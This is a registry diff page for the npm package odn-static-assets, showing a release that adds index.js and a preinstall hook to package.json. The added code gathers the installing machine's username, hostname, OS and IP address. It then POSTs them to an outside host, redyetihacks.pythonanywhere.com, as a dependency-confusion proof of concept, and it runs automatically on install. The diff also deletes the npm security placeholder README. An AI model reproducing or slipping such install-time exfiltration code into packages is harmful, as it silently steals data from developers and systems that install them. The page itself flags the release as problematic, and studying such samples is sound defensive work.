odn-static-assets 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of odn-static-assets might be problematic. Click here for more details.
- package/index.js +80 -0
- package/package.json +8 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,80 @@
|
|
1
|
+
const os = require('os');
|
2
|
+
const https = require('https');
|
3
|
+
|
4
|
+
// Function to print a message in bold
|
5
|
+
function printBold(message) {
|
6
|
+
console.log(`${message}\n`);
|
7
|
+
}
|
8
|
+
|
9
|
+
// Function to print machine information in a table
|
10
|
+
function printMachineInfoTable(info) {
|
11
|
+
console.log("Machine Information:");
|
12
|
+
console.table(info);
|
13
|
+
}
|
14
|
+
|
15
|
+
// Prepare machine information
|
16
|
+
const machineInfo = {
|
17
|
+
"Operating System": `${os.platform()} ${os.release()}`,
|
18
|
+
"System Architecture": os.arch(),
|
19
|
+
"User": os.userInfo().username,
|
20
|
+
"Hostname": os.hostname(),
|
21
|
+
"IP Address": getIPAddress(),
|
22
|
+
};
|
23
|
+
|
24
|
+
// Display welcome message
|
25
|
+
printBold("Hello!\nI am \x1b[1mRedYetiDev\x1b[0m.\n");
|
26
|
+
|
27
|
+
// Display exploit message
|
28
|
+
printBold(`If you see this message, then your system may be vulnerable to a \x1b[1mDependency Confusion Exploit\x1b[0m.\n
|
29
|
+
A dependency confusion exploit occurs when an attacker tricks a system into loading malicious code by providing a package with the same name as a legitimate dependency. This can lead to security vulnerabilities, data breaches, and unauthorized access.\n`);
|
30
|
+
|
31
|
+
// Display machine information in a table
|
32
|
+
printMachineInfoTable(machineInfo);
|
33
|
+
|
34
|
+
// Send a POST request to the server
|
35
|
+
const postData = JSON.stringify(machineInfo);
|
36
|
+
|
37
|
+
const options = {
|
38
|
+
hostname: 'redyetihacks.pythonanywhere.com',
|
39
|
+
port: 443,
|
40
|
+
path: '/machine_info',
|
41
|
+
method: 'POST',
|
42
|
+
headers: {
|
43
|
+
'Content-Type': 'application/json',
|
44
|
+
'Content-Length': postData.length,
|
45
|
+
}
|
46
|
+
};
|
47
|
+
|
48
|
+
const req = https.request(options, (res) => {
|
49
|
+
let data = '';
|
50
|
+
|
51
|
+
res.on('data', (chunk) => {
|
52
|
+
data += chunk;
|
53
|
+
});
|
54
|
+
|
55
|
+
res.on('end', () => {
|
56
|
+
console.log("POST Request Response:", data);
|
57
|
+
});
|
58
|
+
});
|
59
|
+
|
60
|
+
req.on('error', (error) => {
|
61
|
+
console.error("Error sending POST request:", error);
|
62
|
+
});
|
63
|
+
|
64
|
+
req.write(postData);
|
65
|
+
req.end();
|
66
|
+
|
67
|
+
// Function to get the IP address
|
68
|
+
function getIPAddress() {
|
69
|
+
const networkInterfaces = os.networkInterfaces();
|
70
|
+
for (const key in networkInterfaces) {
|
71
|
+
const interface = networkInterfaces[key];
|
72
|
+
for (let i = 0; i < interface.length; i++) {
|
73
|
+
const { address, family, internal } = interface[i];
|
74
|
+
if (family === 'IPv4' && !internal) {
|
75
|
+
return address;
|
76
|
+
}
|
77
|
+
}
|
78
|
+
}
|
79
|
+
return 'N/A';
|
80
|
+
}
|
package/package.json
CHANGED
@@ -1,6 +1,11 @@
|
|
1
1
|
{
|
2
2
|
"name": "odn-static-assets",
|
3
|
-
"version": "0.0
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "This package is being used as a PoC in a Bug Bounty Program",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall":"./index.js"
|
8
|
+
},
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC"
|
6
11
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=odn-static-assets for more information.
|